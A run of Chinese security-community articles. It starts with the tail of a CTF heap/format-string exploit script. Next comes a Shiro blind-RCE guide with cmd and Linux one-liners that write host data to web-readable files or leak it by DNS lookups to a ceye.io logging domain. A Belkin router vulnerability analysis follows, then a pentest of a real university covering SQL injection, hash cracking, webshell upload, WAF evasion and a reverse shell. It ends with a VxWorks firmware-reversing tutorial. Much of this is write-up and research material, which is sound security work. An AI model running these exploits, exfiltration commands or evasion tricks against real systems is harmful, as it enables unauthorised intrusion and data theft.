p.recvuntil('Melt')
heap_addr = u64(p.recvuntil('\n')[:-1].ljust(8,'\x00')) - 0x70
#leak libc addr & write [email protected] to stack
add_item(3)
remove_item(2)
add_name('a'*24+p64(heap_addr + 0x10)[:-1])
payload = '%{}c%{}$n'.format(elf.got['puts'],16)
add_name(payload.ljust(24,'a')+p64(heap_addr+0x100)[:-1])
payload = '%{}c%{}$n'.format(elf.got['puts']+1,47)
add_name(payload.ljust(24,'b')+p64(heap_addr+0x40)[:-1])
add_name('c'*24+p64(heap_addr+0xd0)[:-1])
remove_item(3)
add_name(p64(heap_addr+0x130)+p64(heap_addr+0x100)+p64(elf.got['free'])+p64(5)[:-1])
view_order()
libc.address = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - libc.sym['free']
one_gadget = libc.address + 0x45216
byte1 = one_gadget & 0xff
byte2 = (one_gadget & 0xffff00) >> 8
remove_item(1)
payload = '%{}c%{}$hhn'.format(byte1,24)
add_name(payload.ljust(24,'d'))
remove_item(3)
payload = '%{}c%{}$hn'.format(byte2,52)
add_name(payload.ljust(24,'e')+p64(heap_addr+0xd0)[:-1])
view_order()
p.interactive()
## 总结
前面3题的难度总体来说不高，不过最后一题的漏洞利用花了好长时间进行调试和修正，这题的单链处理有各种漏洞，做题过程中也发现可以`fastbin
dup`，不过最终效果并不太好，多次调整策略后最终放弃了，如果各位大佬有其他解法，欢迎一起讨论。 | 社区文章 |
Author：Hunter@深蓝攻防实验室
## 0x00 场景
Shiro也是老朋友了，但由于其盲打的特点，尽管遇到过很多次依然会花费较多时间。并且比较恶心的是不同的系统环境有可能会遇到各种极端的限制条件。
本文总结的内容主要针对Windows环境下shiro盲打，不出网且ps脚本无法执行的极端场景。
## 0x01 外带数据
Windows是无法像Linux一样轻松拼接命令执行后直接外带数据的，再加上一些体积比较大的数据很难通过域名的方式完整带出。考虑到java系应用大多权限很高，目录可写问题不大，因此想到了写在文件里带出的方式。
### Windows
在站点找⼀个命名独一无二的⽂件或⾃⼰上传的图⽚作为“参照物”，找到⽂件路径且可访问的情况下，只用powershell编码如下命令：
`cmd /c "for /f %i in ('dir /s /b c:\xxx.js') do
(echo%i>%i.path.txt)&(ipconfig > %i.ipconfig.txt)"`
### Linux
和Windows同理，如下：
`find / -name bas.js|while read f;do sh -c 'id;pwd;ifconfig'
>$(dirname$f)/test.txt;done`
## 0x02 找目录
上面的脚本需要找到网站目录下的一个特殊文件名的文件，但前提是知道网站的绝对路径。在Windows环境中只能使用CMD的情况下定位目录并外带数据确实比较麻烦。
`cmd /c "del temp* && echo %CD%>temp && certutil -encode temp temp2 && findstr
/L /V "CERTIFICATE" temp2>temp3 && call set /P MYVAR=<temp3 && call set
FINAL=%MYVAR:~0,60%.g9bubn.ceye.io && call nslookup %FINAL% && call set
FINAL=<nul && call set MYVAR=<nul && del temp*"`
powershell编码后发送payload，得到如下DNSlog：
带出的路径信息就是Web的当前目录，将该目录与“参照物”文件的URL进行拼接：
`cmd /c "for /f %i in ('dir /s /b C:\Users\hunter\Desktop\shiro\target
\xxx.js') do (echo %i>%i.path.txt)&(ipconfig > %i.ipconfig.txt)"`
输出的文件在“参照物”的同目录下：
这样就可以直接通过访问“参照物”目录下生成的文件带出数据了。 | 社区文章 |
在2019年6月，我们发布了一篇关于`Belkin SURF N300`路由器上进行硬件调试的博客文章。 在本博客中，我们将研究Josep Pi
Rodriguez和PedroGuillénNúñez在此平台上所报告的10多个漏洞。
Belkin已接受我们的漏洞报告，但Belkin表示该产品已停产，相关漏洞不再进行修补。 这些漏洞影响了`Belkin SuperTask!
RTOS`，特别是UPnP功能。
它包括`AddPortMapping，GetSpecificPortMappingEntry和DeletePortMapping
SOAP`操作中的多个基于堆栈的缓冲区溢出以及`upgrade.exe，dnsproxy和dhcpd`中的缓冲区溢出。
这些错误最初是由提交者通过分析`Belkin N150（型号F9K1001）`和`Belkin N300（型号F9K1002）`的硬件而发现的。
我们验证了Belkin N300（型号F7D2301v1）路由器的相关漏洞报告。
### UPnP
UPnP旨在简化一般消费者的网络配置，旨在实现“正常工作”。其允许本地客户端配置路由器。 但是，这种方法的前提是需要假设所有本地客户都值得信赖。
恶意软件可以轻松利用此功能在启用UPnP的路由器的防火墙上进行渗透。 UPnP通常被认为是不安全的。包括FBI，都建议消费者禁用并停止使用此功能。
研究人员发现`UPnP WANPPPConnection:1Service`容易受到多个堆栈缓冲区溢出漏洞的影响。
当路由器处理`AddPortMapping
SOAP`操作时，路由器调用`strcpy()`将攻击者控制的`NewRemoteHost`参数复制到固定大小为0x20字节的堆栈缓冲区中，而不验证参数的大小。
当路由器处理图中的请求时，过长的`NewRemoteHos`t参数被`strcpy()`盲目地复制到尺寸不足的堆栈缓冲区。
结果`strcpy()`写入堆栈缓冲区的末尾并用攻击者控制的数据覆盖函数的返回地址。
当易受攻击的函数返回时，它会尝试返回到覆盖的返回地址`0x41414141`。 然后将崩溃记录在串行终端中，路由器将重新启动。
在下图中，我们可以看到易受攻击的`strcpy()`函数调用。`在0x80178C90`位置，固定大小的堆栈缓冲区指针存储在寄存器`$ a0`中。
在0x80178C98处攻击者控制的缓冲区指针存储在`$ a1`寄存器中。 即使该指令位于`jal
strcpy`指令之后，该延迟指令也会在分支之后执行，因为我们的目标是`MIPS CPU`架构。
此UPnP服务处理程序中存在13个错误，并且所有错误都具有相似的根本原因。
实际上，在上图中，我们可以在`0x80178CCC`处看到另一个易受攻击的`strcpy()`调用。 通过跟随级联`if-else`块可以找到更多`strcpy()`调用。 在图中，每个易受攻击的`strcpy()`调用都以红色着色：
没有观察到堆栈缓冲区溢出利用缓解，例如`ASLR`和`堆栈canary`。这些漏洞的利用是十分简便的。利用者编写器可以简单地用`shellcode`地址覆盖程序计数器地址以执行任意代码。
### 后门账户
除了缓冲区溢出漏洞外，研究人员还发现嵌入在固件中的硬编码后门帐户。
总共有三个后门帐户：`“engineer”，“wlan_config”和“wlan_power”`。
这些帐户不会暴露给`Web`界面，最终用户无法删除或修改它们。 当攻击者发出以下请求时，攻击者IP将被标记为“已登录”。
然后，攻击者可以从经过身份验证的IP访问特权页面。
绕过身份验证后，攻击者可能会利用其他身份验证后的漏洞，即特权`upgrade.exe CGI`脚本中的缓冲区溢出。
此缓冲区溢出漏洞是由使用`strcpy()`将攻击者控制的多部分`HTTP POST`请求边界标头值复制到全局变量中引起的。
在上图中，攻击者控制的数据存储在`$ a1`中，易受攻击的全局缓冲区存储在地址`0x802965CA`。
发送恶意请求时，路由器将以下错误记录到串行终端并重新启动。
### 特制DNS数据包
此堆栈缓冲区溢出漏洞会影响路由器的DNS代理。 处理特制DNS数据包时，路由器使用`memcpy()`将攻击者控制的数据复制到大小为80字节的堆栈缓冲区中。
由于目标缓冲区大小不匹配以及传递给`memcpy()`的字节数参数，导致缓冲区溢出。
当上述DNS消息发送到易受攻击的路由器时，以下异常日志将输出到串行终端，设备将重新启动：
同样，我们可以看到程序计数器已被攻击者控制的地址（0x42424242）覆盖。 我们可以在下图中看到易受攻击的`memcpy()`调用：
在0x80119D48，传递给memcpy()的字节数通过减去两个指针来计算。
结果值大于目标缓冲区的大小，因此，memcpy()盲目地复制到目标缓冲区的末尾并导致溢出。
### 结论
存在于固件的不同组件中的具有类似根本原因的大量漏洞的存在表明在产品开发期间缺乏安全的软件开发生命周期实践。 这强烈表明固件中存在更多漏洞。
事实上，我们的猜想被证明是正确的。 在这些漏洞的披露阶段，研究人员提交了其他的有关该产品的错误。
但是，由于我们了解到产品供应商不再提供补丁，因此我们拒绝提交相关漏洞内容。
我们建议最终用户将其易受攻击的路由器升级为当前受其供应商支持的路由器。
本文为翻译稿件，来自：https://www.zerodayinitiative.com/blog/2019/8/1/wipe-out-hanging-more-than-ten-on-your-old-belkin-surf-router | 社区文章 |
#### 0x01:前言
目标是一大学，在一次挖洞过程中遇到个sql注入，尝试进一步利用扩大危害，漏洞已报送平台进行了修复
#### 0x02:sql注入getshell失败
在id处连续加两个单引号都报错，经过探测发现是数字型的注入且过滤了空格，这里可以用/**/代替
于是直接上sqlmap
python sqlmap.py -u url --batch --tamper=space2comment.py –dbs
发现是dba权限：
python sqlmap.py -u url --batch --tamper=space2comment.py --is-dba
试了很多方法找web路径
最后注意到操作系统是FreeBSD
无意中看到这个
char(47)就是’/’，立马想到可以通过这个遍历目录、找路径
通过从根目录开始逐层遍历，最终找到网站根目录：
写入shell失败，转换成16进制规避单引号还是不行
但是这个注入可以读取服务器上的任意敏感文件（包括非web目录），危害巨大
#### 0x03:从其它点继续尝试
读取sql注入处代码，发现并没有代码层面的过滤，explode()
函数把字符串打散为数组，这里以空格为分隔，取数组的第一个，变相地过滤了空格，把空格换成内联注释就能注入
根据泄露的数据库账号、密码尝试连接3306端口失败，估计绑定了本地ip
继续遍历目录，发现了mysql的登陆界面
登录之后却是空白界面，读取处理登录逻辑的代码发现登陆成功直接设置session但不跳转，登陆后直接访问首页就行
查一下secure_file_priv，发现是空值，并没有限制
尝试利用日志写入webshell，发现没有权限设置日志路径
找到了网站后台
数据库里面查到的账号和密码hash值
在线网站解密hash值得到明文
登录失败，读取一下源码
发现是加了盐的，于是加盐再解密得到正确密码
成功登陆后在人員資料管理新增处发现一个上传照片的地方
但是只能上传图片文件
上传成功之后，突然想到了sql写shell失败是不是因为目录权限问题，网站限制了除上传目录外其它目录都不可写？
于是尝试写入shell
成功，果然是目录写权限问题
发现蚁剑连不上，估计waf拦截了流量。看了一下蚁剑的流量加密，蚁剑流量有一个重要特征就是User-Agent为antSword/版本，另外使用了编码器的话还要将解码函数发过去，所以解码函数这里也是一个特征，需要自定义编码器和解码器。
修改antSword-master/modules/request.js和antSword-master/modules/update.js两个文件的User-Agent后成功连接，waf仅仅拦截了UA这一明显特征
反弹shell失败，nc是基于tcp/udp协议的，所以可能的原因有：反弹的命令不存在、禁止出站IP、禁止tcp协议出站端口
确认sh存在：
出站端口为访问外网，查询网络连接发现54454端口可以出站
于是监听54454端口后成功反弹shell
提权失败。服务器内核版本过高，无法利用内核漏洞提权，尝试计划任务、环境变量、和suid提权发现没有可以利用的地方，sudo提权也不行，第三方服务中udf提权发现插件目录不可写，几个文件权限也配置正常，也没有发现其它敏感信息泄露 | 社区文章 |
# VxWorks固件逆向：WRT54Gv8
##### 译文声明
本文是翻译文章，文章原作者 devttys0，文章来源：devttys0.com
原文地址：<http://www.devttys0.com/2011/07/reverse-engineering-vxworks-firmware-wrt54gv8>
译文仅供参考，具体内容表达以及含义原文为准。
最近我一直致力于解压一些[VxWorks](https://en.wikipedia.org/wiki/VxWorks)固件镜像，不幸的是，几乎找不到相关的信息。所以这篇文章的主题主要是从WRT54Gv8[固件镜像](http://homedownloads.cisco.com/downloads/firmware/FW_WRT54Gv8_8.00.8.001_US_20091005.bin)提取VxWorks的内核、应用代码以及在IDA
pro中分析它们。
随着WRT54Gv5的发布，WRT54G系列从Linux转向VxWorks系统。
由于VxWorks是一种实时操作系统（RTOS），相较于Linux的系统，我对该系统不太了解。
该系统即使确定了镜像的各个节，但是也不存在一个节包含标准的ELF可执行文件（可以被反汇编器自动分析）。
但是逆向该固件的整个过程是比较简单的：
1. 从固件中识别以及提取可执行代码。
2. 从可执行代码中识别加载地址。
3. 在ida中使用正确的加载地址加载可执行文件。
4. 通过手动/脚本辅助IDA完成自动分析。
使用JTAG或者是通过串口观察调试信息也许可以代替步骤1和2，但是由于我没有VxWorks WRT54G路由器，因此完全是基于固件的分析。
第一步是在固件映像中找到任何可识别的数据节：
embedded@ubuntu:~/WRT54Gv8$ binwalk -v FW_WRT54Gv8_8.00.8.001_US_20091005.bin
Scan Time: Jul 05, 2011 @ 09:24:20
Magic File: /usr/local/etc/binwalk/magic.binwalk
Signatures: 64
Target File: FW_WRT54Gv8_8.00.8.001_US_20091005.bin
MD5 Checksum: 74317a70160f80fa5df01de0e479a39c
DECIMAL HEX DESCRIPTION
------------------------------------------------------------------------------------------------------- 512 0x200 ELF 32-bit LSB executable, MIPS, MIPS-II version 1 (SYSV)
101658 0x18D1A Linux Journalled Flash filesystem, little endian
103664 0x194F0 LZMA compressed data, properties: 0x6C, dictionary size: 8388608 bytes, uncompressed size: 3680864 bytes
1146276 0x117DA4 LZMA compressed data, properties: 0xA0, dictionary size: 486539264 bytes, uncompressed size: 520093696 bytes
1185153 0x121581 gzip compressed data, was "apply.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:45:58 2009
1185892 0x121864 gzip compressed data, was "apply1.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:45:58 2009
1186870 0x121C36 gzip compressed data, was "apply2.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:45:58 2009
1187499 0x121EAB gzip compressed data, was "apply2sec.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:45:58 2009
1188483 0x122283 gzip compressed data, was "apply3.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:45:58 2009
1189464 0x122658 gzip compressed data, was "applyW.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:45:58 2009
1190202 0x12293A gzip compressed data, was "bad.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:45:58 2009
1190724 0x122B44 gzip compressed data, was "basic.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:45:58 2009
1202618 0x1259BA gzip compressed data, was "bkconfig.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:45:58 2009
1205617 0x126571 gzip compressed data, was "chghttps.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:45:59 2009
1206740 0x1269D4 gzip compressed data, was "ChgLan.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:45:59 2009
1207440 0x126C90 gzip compressed data, was "common.js", from NTFS filesystem (NT), last modified: Fri Sep 4 03:45:59 2009
1210112 0x127700 gzip compressed data, was "Cysaja.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:45:59 2009
1210324 0x1277D4 gzip compressed data, was "DDNS.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:45:59 2009
1214620 0x12889C gzip compressed data, was "default.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:00 2009
1215253 0x128B15 gzip compressed data, was "DEVICE.HTM", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:00 2009
1216309 0x128F35 gzip compressed data, was "DHCPTable.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:00 2009
1217539 0x129403 gzip compressed data, was "Diag.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:00 2009
1220485 0x129F85 gzip compressed data, was "DMZ.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:00 2009
1223383 0x12AAD7 gzip compressed data, was "ERRSCRN.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:00 2009
1224077 0x12AD8D gzip compressed data, was "FacDef.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:00 2009
1226898 0x12B892 gzip compressed data, was "FilterMac.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:00 2009
1228632 0x12BF58 gzip compressed data, was "Filters.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:00 2009
1233858 0x12D3C2 gzip compressed data, was "Firewall.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:00 2009
1236986 0x12DFFA gzip compressed data, was "Forward.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:00 2009
1241779 0x12F2B3 gzip compressed data, was "getstatus.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:04 2009
1242777 0x12F699 gzip compressed data, was "HDDNS.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:00 2009
1244149 0x12FBF5 gzip compressed data, was "HDefault.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:01 2009
1245052 0x12FF7C gzip compressed data, was "HDMZ.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:01 2009
1246049 0x130361 gzip compressed data, was "HExile.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:01 2009
1247163 0x1307BB gzip compressed data, was "HFilters.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:01 2009
1248531 0x130D13 gzip compressed data, was "HFirewall.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:01 2009
1249494 0x1310D6 gzip compressed data, was "HForward.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:01 2009
1250527 0x1314DF gzip compressed data, was "HLog.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:01 2009
1251393 0x131841 gzip compressed data, was "HMAC.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:01 2009
1252433 0x131C51 gzip compressed data, was "HManage.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:01 2009
1253438 0x13203E gzip compressed data, was "HOBA.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:01 2009
1254564 0x1324A4 gzip compressed data, was "HRouting.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:01 2009
1255864 0x1329B8 gzip compressed data, was "HSetup.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:01 2009
1257408 0x132FC0 gzip compressed data, was "HStatus.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:01 2009
1258783 0x13351F gzip compressed data, was "HUpgrade.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:01 2009
1259855 0x13394F gzip compressed data, was "HVPN.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:01 2009
1260808 0x133D08 gzip compressed data, was "HWEP.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:04 2009
1262621 0x13441D gzip compressed data, was "HWireless.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:04 2009
1264097 0x1349E1 gzip compressed data, was "HWPA.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:04 2009
1265245 0x134E5D gzip compressed data, was "InLog.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:01 2009
1266075 0x13519B gzip compressed data, was "language.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:02 2009
1269311 0x135E3F gzip compressed data, was "lastpassword.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:02 2009
1269507 0x135F03 gzip compressed data, was "Log.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:02 2009
1272546 0x136AE2 gzip compressed data, was "Manage.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:02 2009
1277123 0x137CC3 gzip compressed data, was "md5.js", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:02 2009
1278995 0x138413 gzip compressed data, was "Outbreak_Alert.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:02 2009
1282781 0x1392DD gzip compressed data, was "OutLog.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:02 2009
1283619 0x139623 gzip compressed data, was "ping.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:02 2009
1287957 0x13A715 gzip compressed data, was "ptrigger.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:02 2009
1292450 0x13B8A2 gzip compressed data, was "qos.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:02 2009
1298667 0x13D0EB gzip compressed data, was "Quarantined.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:02 2009
1300366 0x13D78E gzip compressed data, was "reset.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:02 2009
1301699 0x13DCC3 gzip compressed data, was "Routing.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:02 2009
1306547 0x13EFB3 gzip compressed data, was "RTable.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:02 2009
1307445 0x13F335 gzip compressed data, was "Service.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:02 2009
1310944 0x1400E0 gzip compressed data, was "StaLan.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:02 2009
1313858 0x140C42 gzip compressed data, was "StaRouter.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:02 2009
1318404 0x141E04 gzip compressed data, was "StaWlan.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:04 2009
1324110 0x14344E gzip compressed data, was "summary.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:02 2009
1325773 0x143ACD gzip compressed data, was "sysinfo.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:02 2009
1325986 0x143BA2 gzip compressed data, was "test.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:03 2009
1326015 0x143BBF gzip compressed data, was "Traceroute.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:03 2009
1340943 0x14760F gzip compressed data, was "Unauthorized.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:03 2009
1341087 0x14769F gzip compressed data, was "Upgrade.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:03 2009
1344585 0x148449 gzip compressed data, was "UpgStat.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:03 2009
1345231 0x1486CF gzip compressed data, was "UpLangPak.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:03 2009
1346753 0x148CC1 gzip compressed data, was "VPN.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:03 2009
1352719 0x14A40F gzip compressed data, was "WAdv.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:04 2009
1356924 0x14B47C gzip compressed data, was "WanMAC.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:03 2009
1360319 0x14C1BF gzip compressed data, was "WClient.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:04 2009
1362096 0x14C8B0 gzip compressed data, was "WFilter.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:04 2009
1367188 0x14DC94 LZMA compressed data, properties: 0x80, dictionary size: 1110966272 bytes, uncompressed size: 218385737 bytes
1379589 0x150D05 LZMA compressed data, properties: 0x80, dictionary size: 1110966272 bytes, uncompressed size: 218385737 bytes
1390145 0x153641 gzip compressed data, was "Wireless.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:04 2009
1396588 0x154F6C gzip compressed data, was "wlaninfo.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:03 2009
1396765 0x15501D gzip compressed data, was "WMList.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:04 2009
1402406 0x156626 gzip compressed data, was "wps_result.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:04 2009
1403174 0x156926 gzip compressed data, was "wps_search.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:04 2009
1407322 0x15795A gzip compressed data, was "WSecurity.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:04 2009
1413245 0x15907D gzip compressed data, was "WState.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:03 2009
1414025 0x159389 gzip compressed data, was "capadmin.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:18 2009
1415312 0x159890 gzip compressed data, was "capapp.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:18 2009
1415961 0x159B19 gzip compressed data, was "capasg.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:23 2009
1422692 0x15B564 gzip compressed data, was "capsec.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:18 2009
1424577 0x15BCC1 gzip compressed data, was "capsetup.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:19 2009
1426257 0x15C351 gzip compressed data, was "capstatus.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:19 2009
1426777 0x15C559 gzip compressed data, was "ddnsmsg.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:19 2009
1427511 0x15C837 gzip compressed data, was "errmsg.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:20 2009
1428222 0x15CAFE gzip compressed data, was "help.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:21 2009
1440881 0x15FC71 gzip compressed data, was "share.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:22 2009
1444717 0x160B6D gzip compressed data, was "capadmin.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:18 2009
1446043 0x16109B gzip compressed data, was "capapp.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:18 2009
1446740 0x161354 gzip compressed data, was "capasg.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:24 2009
1453397 0x162D55 gzip compressed data, was "capsec.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:19 2009
1455360 0x163500 gzip compressed data, was "capsetup.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:19 2009
1457203 0x163C33 gzip compressed data, was "capstatus.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:19 2009
1457760 0x163E60 gzip compressed data, was "ddnsmsg.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:20 2009
1458484 0x164134 gzip compressed data, was "errmsg.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:20 2009
1459130 0x1643BA gzip compressed data, was "help.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:21 2009
1470606 0x16708E gzip compressed data, was "share.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:22 2009
1474489 0x167FB9 gzip compressed data, was "capadmin.js", from NTFS filesystem (NT), last modified: Mon Jul 20 02:06:11 2009
1475924 0x168554 gzip compressed data, was "capapp.js", from NTFS filesystem (NT), last modified: Mon Jul 20 02:06:12 2009
1476640 0x168820 gzip compressed data, was "capasg.js", from NTFS filesystem (NT), last modified: Mon Jul 20 02:06:19 2009
1484040 0x16A508 gzip compressed data, was "capsec.js", from NTFS filesystem (NT), last modified: Mon Jul 20 02:06:12 2009
1486131 0x16AD33 gzip compressed data, was "capsetup.js", from NTFS filesystem (NT), last modified: Mon Jul 20 02:06:12 2009
1487922 0x16B432 gzip compressed data, was "capstatus.js", from NTFS filesystem (NT), last modified: Mon Jul 20 02:06:13 2009
1488498 0x16B672 gzip compressed data, was "ddnsmsg.js", from NTFS filesystem (NT), last modified: Mon Jul 20 02:06:13 2009
1489232 0x16B950 gzip compressed data, was "errmsg.js", from NTFS filesystem (NT), last modified: Mon Jul 20 02:06:14 2009
1490002 0x16BC52 gzip compressed data, was "help.js", from NTFS filesystem (NT), last modified: Mon Jul 20 02:06:16 2009
1502977 0x16EF01 gzip compressed data, was "share.js", from NTFS filesystem (NT), last modified: Mon Jul 20 02:06:18 2009
1507309 0x16FFED gzip compressed data, was "capadmin.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:18 2009
1508872 0x170608 gzip compressed data, was "capapp.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:18 2009
1509579 0x1708CB gzip compressed data, was "capasg.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:23 2009
1517398 0x172756 gzip compressed data, was "capsec.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:18 2009
1519422 0x172F3E gzip compressed data, was "capsetup.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:19 2009
1521274 0x17367A gzip compressed data, was "capstatus.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:19 2009
1521858 0x1738C2 gzip compressed data, was "ddnsmsg.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:19 2009
1522740 0x173C34 gzip compressed data, was "errmsg.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:20 2009
1523552 0x173F60 gzip compressed data, was "help.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:21 2009
1537579 0x17762B gzip compressed data, was "share.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:22 2009
1541905 0x178711 gzip compressed data, was "capadmin.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:18 2009
1543410 0x178CF2 gzip compressed data, was "capapp.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:18 2009
1544153 0x178FD9 gzip compressed data, was "capasg.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:24 2009
1551383 0x17AC17 gzip compressed data, was "capsec.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:18 2009
1553369 0x17B3D9 gzip compressed data, was "capsetup.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:19 2009
1555240 0x17BB28 gzip compressed data, was "capstatus.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:19 2009
1555807 0x17BD5F gzip compressed data, was "ddnsmsg.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:20 2009
1556608 0x17C080 gzip compressed data, was "errmsg.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:20 2009
1557451 0x17C3CB gzip compressed data, was "help.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:21 2009
1570691 0x17F783 gzip compressed data, was "share.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:22 2009
1575061 0x180895 gzip compressed data, was "capadmin.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:18 2009
1576468 0x180E14 gzip compressed data, was "capapp.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:18 2009
1577168 0x1810D0 gzip compressed data, was "capasg.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:24 2009
1583976 0x182B68 gzip compressed data, was "capsec.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:19 2009
1585919 0x1832FF gzip compressed data, was "capsetup.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:19 2009
